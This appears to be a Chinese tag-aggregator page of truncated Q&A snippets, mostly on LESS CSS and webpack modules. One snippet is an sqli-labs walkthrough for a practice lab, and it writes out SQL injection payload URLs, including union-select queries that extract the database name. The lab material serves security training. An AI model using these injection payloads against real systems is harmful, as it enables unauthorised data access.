less

Calculating width from percent to pixel then minus by pixel in LESS CSS

由 北慕城南 提交于 2019-11-28 13:52:54
问题 I will calculate width in some element from percent to pixel so I will minus -10px via using LESS and calc() . It´s possible? div { span { width:calc(100% - 10px); } } I using CSS3 calc() so it doesn't work: calc(100% - 10px) Example: if 100% = 500px so width = 490px (500-10); I made a demo for testing : http://jsfiddle.net/4DujZ/55/ so padding will say: 5 (10px / 2) all the time when I resizing. Can I do it in LESS ? I know how to do in jQuery and simple CSS like margin padding or else...

Dotless - Can't reference less variable in separate file with MVC Bundling

由 最后都变了- 提交于 2019-11-28 13:27:08
I hope I'm not creating a duplicate topic, but I've been searching for two days and can't find a solution to this. We are starting a new project in MVC4 and we have the less version of bootstrap loaded. The issue I'm running into is when I try to reference some classes or variables in the bootstrap.less , my global.less , or any thing outside the current file. I can create a variable in the top of the current file and use it just fine, but if I want to use something out of a separate file, I have to @import it. This would be fine if my entire app's less was in one file, but I'd have to @import

webpack/前端工程化

由 左心房为你撑大大i 提交于 2019-11-28 13:26:23
1.模块化的分类 A.浏览器端的模块化 ​ 1).AMD(Asynchronous Module Definition,异步模块定义) ​ 代表产品为：Require.js ​ 2).CMD(Common Module Definition,通用模块定义) ​ 代表产品为：Sea.js B.服务器端的模块化 ​ 服务器端的模块化规范是使用CommonJS规范： ​ 1).使用require引入其他模块或者包 ​ 2).使用exports或者module.exports导出模块成员 ​ 3).一个文件就是一个模块，都拥有独立的作用域 C.ES6模块化 ​ ES6模块化规范中定义： ​ 1).每一个js文件都是独立的模块 ​ 2).导入模块成员使用import关键字 ​ 3).暴露模块成员使用export关键字 小结：推荐使用ES6模块化，因为AMD，CMD局限使用与浏览器端，而CommonJS在服务器端使用。 ​ ES6模块化是浏览器端和服务器端通用的规范. 2.在NodeJS中安装babel A.安装babel ​ 打开终端，输入命令： npm install --save-dev @babel/core @babel/cli @babel/preset-env @babel/node ​ 安装完毕之后，再次输入命令安装： npm install --save @babel

How to show the compiled css from a .less file in the browser?

由 試著忘記壹切 提交于 2019-11-28 12:45:40
What is the best way to show the resulting css from files compiled with less.js in the client. In other words, how can i fill a div with the resulting css? I need to display the result on the page, any way to do this? THanks! Bass Jobsen update As already pointed out in the comments by @ertrzyiks you should replace less.parse with less.render for Less v 2.x: var lessCode = ''; var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function(){ if(xmlhttp.status == 200 && xmlhttp.readyState == 4){ var options = {} lessCode = xmlhttp.responseText; less.render(lessCode, options, function

How can I compile LESS files within browser

由 我们两清 提交于 2019-11-28 12:02:59
I created code for switching themes using LESS functionality. Unfortunately the LESS files will not compile in browser. How can I compile LESS files within browser? ie. This is a piece of documentation : Client-side usage Link your .less stylesheets with the rel set to “stylesheet/less”: <link rel="stylesheet/less" type="text/css" href="styles.less"> Then download less.js from the top of the page, and include it in the <head> element of your page, like so: <script src="less.js" type="text/javascript"></script> Make sure you include your stylesheets before the script. So, you need to: place

Dynamic Variable Names in LESS CSS

由 百般思念 提交于 2019-11-28 11:56:04
I have been trying this for a while, looking at other answers, but to no avail. Hopefully someone can help me. I am trying to generate some dynamic variable names within a mixin. The variables are already defined: @horizontal-default-color: #fff; @horizontal-inverse-color: #000; etc.. The mixin I want would be something like this: .horizontal-variant(@variant) { color: @{horizontal-@{@variant}-color} } And the result I am expecting, when called: .horizontal-default{ .horizontal-variant(~"default"); } .horizontal-inverse{ .horizontal-variant(~"inverse"); } is .horizontal-default {color: #fff}

LESS mixin recursion error to convert pixels to rems

由 余生长醉 提交于 2019-11-28 11:28:24
问题 I am trying to make a mixin to propery convert pixels to relative ems. I would like it to be flexible enough to allow any property to be used with any number of pixel values. Any ideas on how to add multiple values to a single property without the recursion error I'm creating inside the for loop? desired usage example 1: .pixels-to-rems(font-size; 10); desired output: font-size: 10px; font-size: 1rem; desired usage example 2: .pixels-to-rems(padding; 10,0,20,10); desired output: padding: 10px

sqli labs注入记录（Less-1至Less-10）

由 南笙酒味 提交于 2019-11-28 11:27:55
Less-1：基于错误的GET单引号字符型注入 我们首先注入一个单引号’，出现SQL语法错误，多出一个单引号，后面闭合语句也是用的单引号： http://127.0.0.1/sqli_labs/Less-1/?id=1’ 再次注入一条SQL语句，因为条件永远为真，响应正常： http://127.0.0.1/sqli_labs/Less-1/?id=1' and '1'='1 下面猜解字段数： http://127.0.0.1/sqli_labs/Less-1/?id=1' order by 1--+ http://127.0.0.1/sqli_labs/Less-1/?id=1' order by 1,2,3--+ http://127.0.0.1/sqli_labs/Less-1/?id=1' order by 1,2,3,4--+ 此时报错，说明字段数是 3。 确定显位数字： http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,2,3--+ 从上图可以看到，第2和第3个字段均可回显。 进一步地，获取当前数据库名称： http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,(select database()) ,3--+ 数据库名为security。

Less: how to grab an entire ruleset from within a map

由 馋奶兔 提交于 2019-11-28 11:27:28
问题 I have a nested ruleset (map) like the one below. @typography: { @h1: { font: roboto; font-weight: 300; font-size: 9.6rem; line-height: 9.6rem; text-transform:none; } } I know how to retrieve and output a single key such as [font], but is there any way of returning and outputting the whole of inner ruleset? .myclass { font: roboto; font-weight: 300; font-size: 9.6rem; line-height: 9.6rem; text-transform:none; } 回答1: "Can't work this way currently (v3.9)". I'm afraid it's not going to work the

less 的使用方法总结

由 杀马特。学长 韩版系。学妹 提交于 2019-11-28 11:24:35
一、 安装和使用 LESS 　　1.1 安装 　　使用命令行安装 LESS　 npm install -g less 　　1.2 使用 　　less 有多种的使用方法，在这里我向大家介绍最常用的俩种方法。 　　第一种是直接在浏览器中使用： 去下载一个你要的 less.js 脚本； 创建一个文件来放置你的样式，比如说style.less 添加下面的代码到你的 HTML 的 <head> 中。　 <link rel="stylesheet/less" type="text/css" href="styles.less"> <script src="less.js" type="text/javascript"></script> 　　请注意“link”的“rel”属性。你需要在属性值后面使用“/less”，LESS才起作用。你也需要在“link”样式表后面引入"script"。如果你正在使用“HTML5”语法，我无法想像为什么你不会用呢？你可以少去“type=‘text/css’”和“type='text/javascript'”。 　　第二种就是在命令行中使用：　 lessc style.less style.css 　　然后会在项目目录生成 style.css 文件，在 html 中引入即可。如果在编译过程中出现错误，将会在命令行中提示你。 　　Less 是用 JavaScript
订阅 less